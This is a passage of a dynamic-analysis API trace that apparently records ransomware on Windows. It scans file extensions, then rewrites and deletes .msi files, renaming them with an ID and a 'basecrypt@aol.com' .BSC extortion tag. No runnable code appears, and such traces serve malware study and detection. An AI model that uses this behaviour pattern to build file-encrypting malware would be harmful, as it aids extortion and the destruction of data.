(lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.931] lstrlenW (lpString=".zip") returned 4 [0103.931] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.931] lstrlenW (lpString=".rar") returned 4 [0103.931] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.931] lstrlenW (lpString=".bz2") returned 4 [0103.931] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.931] lstrlenW (lpString=".7z") returned 3 [0103.931] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.931] lstrlenW (lpString=".dbf") returned 4 [0103.931] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.931] lstrlenW (lpString=".1cd") returned 4 [0103.931] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.931] lstrlenW (lpString=".jpg") returned 4 [0103.931] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.932] lstrlenW (lpString=".doc") returned 4 [0103.932] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.932] lstrlenW (lpString=".docx") returned 5 [0103.932] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0103.932] lstrlenW (lpString=".pdf") returned 4 [0103.932] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.932] lstrlenW (lpString=".xls") returned 4 [0103.932] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.932] lstrlenW (lpString=".xlsx") returned 5 [0103.932] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0103.932] lstrlenW (lpString=".ppt") returned 4 [0103.932] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.932] lstrlenW (lpString=".zip") returned 4 [0103.932] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.932] lstrlenW (lpString=".rar") returned 4 [0103.932] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.932] lstrlenW (lpString=".bz2") returned 4 [0103.932] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.932] lstrlenW (lpString=".7z") returned 3 [0103.932] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.932] lstrlenW (lpString=".dbf") returned 4 [0103.933] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.933] lstrlenW (lpString=".1cd") returned 4 [0103.933] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.933] lstrlenW (lpString=".jpg") returned 4 [0103.933] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.933] lstrcmpiW (lpString1=".msi", lpString2=".BSC") returned 1 [0103.933] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0103.933] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.938] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=1163264) returned 1 [0103.938] CloseHandle (hObject=0x34c) returned 1 [0103.938] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0103.938] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.952] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.952] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.953] GetLastError () returned 0x0 [0103.953] ReadFile (in: hFile=0x33c, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0104.188] WriteFile (in: hFile=0x344, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0104.705] ReadFile (in: hFile=0x33c, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x1c010, lpOverlapped=0x0) returned 1 [0104.715] WriteFile (in: hFile=0x344, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x1c020, lpOverlapped=0x0) returned 1 [0104.722] ReadFile (in: hFile=0x33c, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.722] WriteFile (in: hFile=0x344, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0104.722] SetEndOfFile (hFile=0x344) returned 1 [0104.722] CloseHandle (hObject=0x344) returned 1 [0104.825] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.825] SetEndOfFile (hFile=0x33c) returned 1 [0104.827] CloseHandle (hObject=0x33c) returned 1 [0104.827] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.827] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0104.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.827] lstrlenW (lpString=".doc") returned 4 [0104.827] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0104.828] lstrlenW (lpString=".docx") returned 5 [0104.828] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0104.828] lstrlenW (lpString=".pdf") returned 4 [0104.828] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0104.828] lstrlenW (lpString=".xls") returned 4 [0104.828] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0104.828] lstrlenW (lpString=".xlsx") returned 5 [0104.828] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0104.828] lstrlenW (lpString=".ppt") returned 4 [0104.828] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0104.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.828] lstrlenW (lpString=".zip") returned 4 [0104.828] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0104.828] lstrlenW (lpString=".rar") returned 4 [0104.828] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0104.828] lstrlenW (lpString=".bz2") returned 4 [0104.828] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0104.828] lstrlenW (lpString=".7z") returned 3 [0104.828] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0104.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.828] lstrlenW (lpString=".dbf") returned 4 [0104.828] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0104.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.828] lstrlenW (lpString=".1cd") returned 4 [0104.828] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0104.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.829] lstrlenW (lpString=".jpg") returned 4 [0104.829] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0104.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.829] lstrlenW (lpString=".doc") returned 4 [0104.829] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0104.829] lstrlenW (lpString=".docx") returned 5 [0104.829] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0104.829] lstrlenW (lpString=".pdf") returned 4 [0104.829] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0104.829] lstrlenW (lpString=".xls") returned 4 [0104.829] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0104.829] lstrlenW (lpString=".xlsx") returned 5 [0104.829] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0104.829] lstrlenW (lpString=".ppt") returned 4 [0104.829] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0104.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.829] lstrlenW (lpString=".zip") returned 4 [0104.829] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0104.829] lstrlenW (lpString=".rar") returned 4 [0104.829] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0104.829] lstrlenW (lpString=".bz2") returned 4 [0104.829] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0104.829] lstrlenW (lpString=".7z") returned 3 [0104.829] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0104.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.830] lstrlenW (lpString=".dbf") returned 4 [0104.830] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0104.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.830] lstrlenW (lpString=".1cd") returned 4 [0104.830] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0104.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0104.830] lstrlenW (lpString=".jpg") returned 4 [0104.830] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0104.830] lstrcmpiW (lpString1=".msi", lpString2=".BSC") returned 1 [0104.830] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0104.830] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.098] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=872448) returned 1 [0105.098] CloseHandle (hObject=0x388) returned 1 [0105.098] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0105.098] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0105.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.098] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.098] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0105.099] GetLastError () returned 0x0 [0105.099] ReadFile (in: hFile=0x388, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0xd5000, lpOverlapped=0x0) returned 1 [0105.627] WriteFile (in: hFile=0x384, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xd5010, lpOverlapped=0x0) returned 1 [0105.641] ReadFile (in: hFile=0x388, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.641] WriteFile (in: hFile=0x384, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x100, lpOverlapped=0x0) returned 1 [0105.641] SetEndOfFile (hFile=0x384) returned 1 [0105.641] CloseHandle (hObject=0x384) returned 1 [0105.658] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.658] SetEndOfFile (hFile=0x388) returned 1 [0105.666] CloseHandle (hObject=0x388) returned 1 [0105.666] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0105.666] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0105.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.667] lstrlenW (lpString=".doc") returned 4 [0105.667] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.667] lstrlenW (lpString=".docx") returned 5 [0105.667] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0105.667] lstrlenW (lpString=".pdf") returned 4 [0105.667] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.667] lstrlenW (lpString=".xls") returned 4 [0105.667] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.667] lstrlenW (lpString=".xlsx") returned 5 [0105.667] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0105.667] lstrlenW (lpString=".ppt") returned 4 [0105.667] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.667] lstrlenW (lpString=".zip") returned 4 [0105.667] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.667] lstrlenW (lpString=".rar") returned 4 [0105.667] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.667] lstrlenW (lpString=".bz2") returned 4 [0105.667] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.667] lstrlenW (lpString=".7z") returned 3 [0105.667] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.667] lstrlenW (lpString=".dbf") returned 4 [0105.667] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.668] lstrlenW (lpString=".1cd") returned 4 [0105.668] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.668] lstrlenW (lpString=".jpg") returned 4 [0105.668] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.668] lstrlenW (lpString=".doc") returned 4 [0105.668] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.668] lstrlenW (lpString=".docx") returned 5 [0105.668] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0105.668] lstrlenW (lpString=".pdf") returned 4 [0105.668] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.668] lstrlenW (lpString=".xls") returned 4 [0105.668] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.668] lstrlenW (lpString=".xlsx") returned 5 [0105.668] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0105.668] lstrlenW (lpString=".ppt") returned 4 [0105.668] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.668] lstrlenW (lpString=".zip") returned 4 [0105.668] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.668] lstrlenW (lpString=".rar") returned 4 [0105.668] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.668] lstrlenW (lpString=".bz2") returned 4 [0105.668] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.668] lstrlenW (lpString=".7z") returned 3 [0105.668] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.669] lstrlenW (lpString=".dbf") returned 4 [0105.669] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.669] lstrlenW (lpString=".1cd") returned 4 [0105.669] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0105.669] lstrlenW (lpString=".jpg") returned 4 [0105.669] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.669] lstrcmpiW (lpString1=".msi", lpString2=".BSC") returned 1 [0105.669] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0105.669] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.669] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=495616) returned 1 [0105.669] CloseHandle (hObject=0x388) returned 1 [0105.669] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0105.669] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0105.670] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.670] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.670] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.670] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0105.670] GetLastError () returned 0x0 [0105.670] ReadFile (in: hFile=0x388, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x79000, lpOverlapped=0x0) returned 1 [0108.847] WriteFile (in: hFile=0x384, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x79010, lpOverlapped=0x0) returned 1 [0109.318] ReadFile (in: hFile=0x388, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.318] WriteFile (in: hFile=0x384, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x100, lpOverlapped=0x0) returned 1 [0109.318] SetEndOfFile (hFile=0x384) returned 1 [0109.520] CloseHandle (hObject=0x384) returned 1 [0109.529] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.529] SetEndOfFile (hFile=0x388) returned 1 [0109.533] CloseHandle (hObject=0x388) returned 1 [0109.533] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0109.533] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0109.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.550] lstrlenW (lpString=".doc") returned 4 [0109.550] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0109.550] lstrlenW (lpString=".docx") returned 5 [0109.550] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0109.550] lstrlenW (lpString=".pdf") returned 4 [0109.550] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0109.550] lstrlenW (lpString=".xls") returned 4 [0109.550] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0109.550] lstrlenW (lpString=".xlsx") returned 5 [0109.550] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0109.550] lstrlenW (lpString=".ppt") returned 4 [0109.550] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0109.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.550] lstrlenW (lpString=".zip") returned 4 [0109.550] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0109.550] lstrlenW (lpString=".rar") returned 4 [0109.550] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0109.551] lstrlenW (lpString=".bz2") returned 4 [0109.551] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0109.551] lstrlenW (lpString=".7z") returned 3 [0109.551] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0109.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.551] lstrlenW (lpString=".dbf") returned 4 [0109.551] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0109.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.551] lstrlenW (lpString=".1cd") returned 4 [0109.551] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0109.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.551] lstrlenW (lpString=".jpg") returned 4 [0109.551] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0109.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.551] lstrlenW (lpString=".doc") returned 4 [0109.551] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0109.551] lstrlenW (lpString=".docx") returned 5 [0109.551] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0109.551] lstrlenW (lpString=".pdf") returned 4 [0109.551] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0109.551] lstrlenW (lpString=".xls") returned 4 [0109.551] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0109.551] lstrlenW (lpString=".xlsx") returned 5 [0109.551] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0109.551] lstrlenW (lpString=".ppt") returned 4 [0109.551] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0109.551] lstrlenW 